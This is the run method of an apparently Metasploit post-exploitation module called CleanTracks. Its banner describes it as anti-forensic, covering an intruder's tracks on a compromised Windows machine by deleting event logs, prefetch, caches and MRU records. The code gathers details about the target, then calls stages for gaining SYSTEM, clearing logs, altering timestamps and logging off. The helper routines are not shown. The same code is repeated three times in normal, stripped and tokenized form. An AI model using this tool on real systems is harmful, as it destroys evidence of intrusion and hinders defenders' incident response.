modules/post/chapter-10/CleanTracks.rb
def run
       session = client
       # Check for proper target Platform
       unsupported if client.platform !~ /win32|win64/i

         # Variable declarations (msf API calls)
         sysnfo = session.sys.config.sysinfo
         runtor = client.sys.config.getuid
         runtime = client.ui.idle_time
         rport = client.session_port
         runsession = client.session_host
         directory = client.fs.dir.pwd
         hpat = client.fs.file.expand_path("%HOMEPATH%")
         syhd = client.fs.file.expand_path("%SYSTEMDRIVE%")
         prOc = client.sys.process.getpid


       # Print banner and scan results on screen
       print_line("    +--------------------------------------------+")
       print_line("    |       * CleanTracks - Anti-forensic *      |")
       print_line("    |    Author: Pedro Ubuntu [ r00t-3xp10it ]   |")
       print_line("    |                    ---                     |")
       print_line("    |  Cover your footprints in target system by |")
       print_line("    |  deleting prefetch, cache, event logs, lnk |")
       print_line("    |  tmp, dat, MRU, shellbangs, recent, etc.   |")
       print_line("    +--------------------------------------------+")
       print_line("")
       print_line("    Running on session  : #{datastore['SESSION']}")
       print_line("    Computer            : #{sysnfo['Computer']}")
       print_line("    Operative System    : #{sysnfo['OS']}")
       print_line("    Target UID          : #{runtor}")
       print_line("    Target IP addr      : #{runsession}")
       print_line("    Target Session Port : #{rport}")
       print_line("    Target idle time    : #{runtime}")
       print_line("    Target Home dir     : #{hpat}")
       print_line("    Target System Drive : #{syhd}")
       print_line("    Target Payload dir  : #{directory}")
       print_line("    Target Payload PID  : #{prOc}")
       print_line("")
       print_line("")


    # check for proper session.
    if not sysinfo.nil?
      print_status("Running module against: #{sysnfo['Computer']}")
    else
      print_error("ABORT]:This post-module only works in meterpreter sessions")
      raise Rex::Script::Completed
    end


# ------------------------------------
# Selected settings to run
# ------------------------------------
      if datastore['GET_SYS']
         ls_getsys
      end

      if datastore['PREVENT']
         ls_stage1
      end

      if datastore['CLEANER']
         ls_stage2
      end

      if datastore['DIR_MACE']
         ls_mace
      end

      if datastore['REVERT']
         ls_revert
      end

      if datastore['DEL_LOGS']
         ls_clear
      end

      if datastore['PANIC']
         ls_panic
      end
 
      if datastore['LOGOFF']
         ls_logoff
      end
   end
# ------------------------------------------------
# MAIN DISPLAY WINDOWS (ALL MODULES)
# Running sellected modules against session target
# ------------------------------------------------
MAIN DISPLAY WINDOWS (ALL MODULES)
Running sellected modules against session target
MAIN DISPLAY WINDOWS ( ALL MODULES ) Running sellected modules against session target
def run
       session = client
       unsupported if client.platform !~ /win32|win64/i
         sysnfo = session.sys.config.sysinfo
         runtor = client.sys.config.getuid
         runtime = client.ui.idle_time
         rport = client.session_port
         runsession = client.session_host
         directory = client.fs.dir.pwd
         hpat = client.fs.file.expand_path("%HOMEPATH%")
         syhd = client.fs.file.expand_path("%SYSTEMDRIVE%")
         prOc = client.sys.process.getpid
       print_line("    +--------------------------------------------+")
       print_line("    |       * CleanTracks - Anti-forensic *      |")
       print_line("    |    Author: Pedro Ubuntu [ r00t-3xp10it ]   |")
       print_line("    |                    ---                     |")
       print_line("    |  Cover your footprints in target system by |")
       print_line("    |  deleting prefetch, cache, event logs, lnk |")
       print_line("    |  tmp, dat, MRU, shellbangs, recent, etc.   |")
       print_line("    +--------------------------------------------+")
       print_line("")
       print_line("    Running on session  : #{datastore['SESSION']}")
       print_line("    Computer            : #{sysnfo['Computer']}")
       print_line("    Operative System    : #{sysnfo['OS']}")
       print_line("    Target UID          : #{runtor}")
       print_line("    Target IP addr      : #{runsession}")
       print_line("    Target Session Port : #{rport}")
       print_line("    Target idle time    : #{runtime}")
       print_line("    Target Home dir     : #{hpat}")
       print_line("    Target System Drive : #{syhd}")
       print_line("    Target Payload dir  : #{directory}")
       print_line("    Target Payload PID  : #{prOc}")
       print_line("")
       print_line("")
    if not sysinfo.nil?
      print_status("Running module against: #{sysnfo['Computer']}")
    else
      print_error("ABORT]:This post-module only works in meterpreter sessions")
      raise Rex::Script::Completed
    end
      if datastore['GET_SYS']
         ls_getsys
      end
      if datastore['PREVENT']
         ls_stage1
      end
      if datastore['CLEANER']
         ls_stage2
      end
      if datastore['DIR_MACE']
         ls_mace
      end
      if datastore['REVERT']
         ls_revert
      end
      if datastore['DEL_LOGS']
         ls_clear
      end
      if datastore['PANIC']
         ls_panic
      end
      if datastore['LOGOFF']
         ls_logoff
      end
   end
def run session = client unsupported if client . platform !~ / win32|win64 /i sysnfo = session . sys . config . sysinfo runtor = client . sys . config . getuid runtime = client . ui . idle_time rport = client . session_port runsession = client . session_host directory = client . fs . dir . pwd hpat = client . fs . file . expand_path ( "%HOMEPATH%" ) syhd = client . fs . file . expand_path ( "%SYSTEMDRIVE%" ) prOc = client . sys . process . getpid print_line ( "    +--------------------------------------------+" ) print_line ( "    |       * CleanTracks - Anti-forensic *      |" ) print_line ( "    |    Author: Pedro Ubuntu [ r00t-3xp10it ]   |" ) print_line ( "    |                    ---                     |" ) print_line ( "    |  Cover your footprints in target system by |" ) print_line ( "    |  deleting prefetch, cache, event logs, lnk |" ) print_line ( "    |  tmp, dat, MRU, shellbangs, recent, etc.   |" ) print_line ( "    +--------------------------------------------+" ) print_line ( "" ) print_line ( "    Running on session  : #{datastore['SESSION']}" ) print_line ( "    Computer            : #{sysnfo['Computer']}" ) print_line ( "    Operative System    : #{sysnfo['OS']}" ) print_line ( "    Target UID          : #{runtor}" ) print_line ( "    Target IP addr      : #{runsession}" ) print_line ( "    Target Session Port : #{rport}" ) print_line ( "    Target idle time    : #{runtime}" ) print_line ( "    Target Home dir     : #{hpat}" ) print_line ( "    Target System Drive : #{syhd}" ) print_line ( "    Target Payload dir  : #{directory}" ) print_line ( "    Target Payload PID  : #{prOc}" ) print_line ( "" ) print_line ( "" ) if not sysinfo . nil? print_status ( "Running module against: #{sysnfo['Computer']}" ) else print_error ( "ABORT]:This post-module only works in meterpreter sessions" ) raise Rex :: Script :: Completed end if datastore [ 'GET_SYS' ] ls_getsys end if datastore [ 'PREVENT' ] ls_stage1 end if datastore [ 'CLEANER' ] ls_stage2 end if datastore [ 'DIR_MACE' ] ls_mace end if datastore [ 'REVERT' ] ls_revert end if datastore [ 'DEL_LOGS' ] ls_clear end if datastore [ 'PANIC' ] ls_panic end if datastore [ 'LOGOFF' ] ls_logoff end end
MAIN DISPLAY WINDOWS (ALL MODULES)
Running sellected modules against session target
MAIN DISPLAY WINDOWS ( ALL MODULES ) Running sellected modules against session target
# Check for proper target Platform # Variable declarations (msf API calls) # Print banner and scan results on screen # check for proper session. # ------------------------------------ # Selected settings to run # ------------------------------------